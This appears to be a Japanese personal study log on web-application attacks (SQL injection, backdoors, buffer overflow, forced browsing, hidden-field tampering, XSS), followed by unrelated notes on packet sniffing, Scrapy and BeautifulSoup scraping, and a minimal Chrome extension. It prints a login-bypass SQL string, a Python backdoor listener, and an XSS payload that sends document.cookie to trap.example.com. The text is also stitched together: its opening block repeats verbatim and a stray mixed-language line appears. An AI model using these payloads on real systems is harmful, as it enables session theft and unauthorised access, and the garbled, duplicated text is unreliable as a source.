リクエストに不正な命令文を隠しこむことで、WebブラウザからWebアプリケーションに予想外の動作を引き起こす攻撃
a) OSコマンドインジェクション
b) sqlインジェクション
以下のパスワードを入力することでWHERE句全体が常に真(TRUE)となり、正規のパスワードが何であってもログインが成功する
' OR '1'='1
XPATHインジェクション、ディレクトリ検索条件に干渉するLDAPインジェクションなどがある
随机应变 ABCD: Always Be Coding and … : хороший
リクエストに不正な命令文を隠しこむことで、WebブラウザからWebアプリケーションに予想外の動作を引き起こす攻撃
a) OSコマンドインジェクション
b) sqlインジェクション
以下のパスワードを入力することでWHERE句全体が常に真(TRUE)となり、正規のパスワードが何であってもログインが成功する
' OR '1'='1
XPATHインジェクション、ディレクトリ検索条件に干渉するLDAPインジェクションなどがある
システムの裏口のようなもので、認証や正規の手順を踏まずにある機能を直接利用したりするための機能
開発中のバグ修正などを行う
バックドア、デバックオプションを削除せずに運用が開始される場合がある
### サンプル1
http://www.example.co.jp/bank.cgi/?debug=off
↓
http://www.example.co.jp/bank.cgi/?debug=on&from=9876-5432&to=1234-5678&amount=1000000
デバックオフで制御を解除して実行できてしまう
「Gazer」では、コード内の文字列を変化、マーカーをランダム化させ、証拠と思わしきファイルを消去するなど痕跡が残らない巧妙な設計がなされている
アクセスしただけでダウンロードが始まる
### Pythonによるバックドア例
1. バックドアアクセス用のサーバ作成
socket, subprocessを使用する
socketでは、TCPまたはUDPソケットを作成するために使用できる関数も呼び出される
socket.socket関数でソケットw作成する
socket.AF_INET: IPv4指定
socket_STREAM: TCP指定
import socket
def connection():
global s
s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', 4445))
s.listen(1)
print("waiting...")
def accept_connections():
global target
target, ip_list= s.accept()
print("connection received from: " + str(ip_list[0]))
def commands():
while True:
command= input('command> ')
bit_encoded_command= str.encode(command)
if command== 'exit':
target.send(bit_encoded_command)
receive= target.recv(1024)
receive_decoded= bytes.decode(receive, "utf-8")
print(receive_decoded)
break
connection()
accept_connections()
commands()
システムが予め確保しているうバッファ領域よりも大きなサイズを送りつけることで、バッファ領域を溢れさせ、バッファ領域外のコードを任意のコードで上書きしてしまう攻撃
例えば、入力フォームで数千文字の数字を入力して送信ボタンを押すと、送り込まれた大量のデータがバッファ領域を超え、バッファ領域外が上書きされてしまうことがある。
各入力フォームの最大長を設定することで防ぐことができる
char *
gets(char *buf)
{
int c;
char *s;
for (s = buf; (c = getchar()) != '\n'; )
if (c == EOF)
if (s == buf){
return (NULL);
} else
break;
else
*s++ = c;
*s = '\0';
return (buf);
}
入力したデータを全て受け取ると、オブジェクトの値が変わることがある
DoS攻撃は、サーバ負荷を増やすための攻撃
なるほど、バリデーションが如何に大事か理解できました
強制ブラウズ とは、アドレスバーからURLを直接入力して、非公開のブラウzを強制的に表示させてしまう攻撃
http://www.example.co.jp/some/path/filename.html
この場合、URLを推測してアクセスしてくる場合がある
### コメント
コードのコメントの意味を読み取って、攻撃する場合がある
### 検出方法
– 検索エンジンによる検索
– nikto
– OWASP DirBuster
– ZAP
– wfuzz
OWASP DirBusterの例
ターゲットURLとディレクトリリストを入力すると、見つかったディレクトリ等が表示されれて、ファイルを表示することもできる
ワードプレスのようなOSSの場合はディレクトリ構成が既に判明しているため、攻撃を受けやすい
攻撃方法を専門で研究している人もいるのか…
怖いね
ショッピングサイトにおいて商品の価格をHiddenフィールドに埋め込む
<input type="hidden" name="price" value="40">
このvalueが書き換えられると、より安い値段で決済されてしまうので、商品情報のDB側を値を参照して決済処理しないとsecureにならない
もしくは、hiddenの値が書き換えられてないかチェックする仕組みをcontroller側で実装する
amazonの商品ページのソースコードを見ましたが、priceはinputフィールドに記載がなさそうですね
### ユーザ情報等の全件表示
http://www.example.co.jp/cgi-bin/sample.cgi?user=hoge
Getパラメータの場合、アスタリスクにすると、全件取得できる場合がある
sample.cgi?user=*
### クロスサイトスクリプティング
受け取ったパラメータをそのまま表示する場合、コードを埋め込むと、コードが実行されてしまう
http://www.example.co.jp/cgi-bin/sample.cgi?user=hoge
http://www.example.co.jp/cgi-bin/sample.cgi?user=${コード}
パラメータをHTMLと解釈されないようにエスケープ処理する必要がある
### クロスサイトスクリプティングの例
cookie情報を表示できてしまう
"><script>alert(document.cookie)</script><!--
罠リンク: URLが圧縮されるとわからない
http://<ServerName>/xss_confirm.php?name="><script>alert(document.cookie)</script><!--
セッソンIDを盗む方法
"><script>window.location='http://trap.example.com/trap.php?'+document.cookie;</script><!--
セッション ID を入手したら、セッションIDを利用して Webアプリケーションにアクセスし、なりすましが完成する
### Sniffer
パケット盗聴用のソフト、HTTPS通信の場合は盗聴されない
Wireshark、Python3 + pySerial、nRF Snifferで環境構築ができる
デバイス単位でパケットデータを解析できる
パケットは16進数 ASCII表示
04 3e 20 02 01 04 00 df cd 64 4c 99 b4 14 0a 09 .> ......dL..... 53 65 6e 73 6f 72 54 61 67 05 12 50 00 20 03 02 SensorTag..P. .. 0a 00 ba
scrapyとはweb scraping用のフレームワーク
$ pip3 install scrapy
$ scrapy version
Scrapy 2.5.1
$ scrapy startproject test1

$ cd test1
$ scrapy genspider test2 https://paypaymall.yahoo.co.jp/store/*/item/y-hp600-3/
Created spider ‘test2’ using template ‘basic’ in module:
test1.spiders.test2
test1/items.py
import scrapy
class Test1Item(scrapy.Item):
title = scrapy.Field()
test1/spiders/test2.py
import scrapy
from test1.items import Test1Item
class Test2Spider(scrapy.Spider):
name = 'test2'
allowed_domains = ['paypaymall.yahoo.co.jp/store/*/item/y-hp600-3/']
start_urls = ['https://paypaymall.yahoo.co.jp/store/*/item/y-hp600-3//']
def parse(self, response):
return Test1Item(
title = response.css('title').extract_first(),
)
$ scrapy crawl test2
BS4で良いじゃんと思ってしまうが、どうなんだろうか。
$ sudo pip3 install bs4
import requests
from bs4 import BeautifulSoup
response = requests.get('https://paypaymall.yahoo.co.jp/store/*/item/y-hp600-3/')
soup = BeautifulSoup(response.text, 'html.parser')
title = soup.find('title').get_text()
print(title)
$ python3 main.py
年内配送OK カニ かに 蟹 ズワイガニ カニ刺身 かにしゃぶ 殻Wカット生本ズワイ3箱セット カニ8規格 選べる最大3kg かに脚 フルポーション剥身 姿 カニ爪 かに鍋 越前かに問屋ますよね公式ストア – 通販 – PayPayモール
urllibより操作が簡単そうですな
from urllib import request
response = request.urlopen('https://paypaymall.yahoo.co.jp/store/*/item/y-hp600-3/')
content = response.read()
response.close()
html = content.decode()
title = html.split('<title>')[1].split('</title')[0]
print(title)
$ python3 main.py
年内配送OK カニ かに 蟹 ズワイガニ カニ刺身 かにしゃぶ 殻Wカット生本ズワイ3箱セット カニ8規格 選べる最大3kg かに脚 フルポーション剥身 姿 カニ爪 かに鍋 越前かに問屋ますよね公式ストア – 通販 – PayPayモール
なるほど
必要なもの
– js file
– html, css, image
– manifest file
### manifest.json (設定全般)
パッケージ化されてない拡張機能を読み込む で設定する

content.js
window.alert("app opened!");
manifest.json
{
"name":"sample",
"version": "1.0.0",
"manifest_version": 2,
"description": "sampleChromeExtension",
"content_scripts": [{
"matches": ["http://192.168.33.10:8000/test.html"],
"js": [
"content.js"
]
}]
}

できました

なるほどー 意外と簡単に作れるのね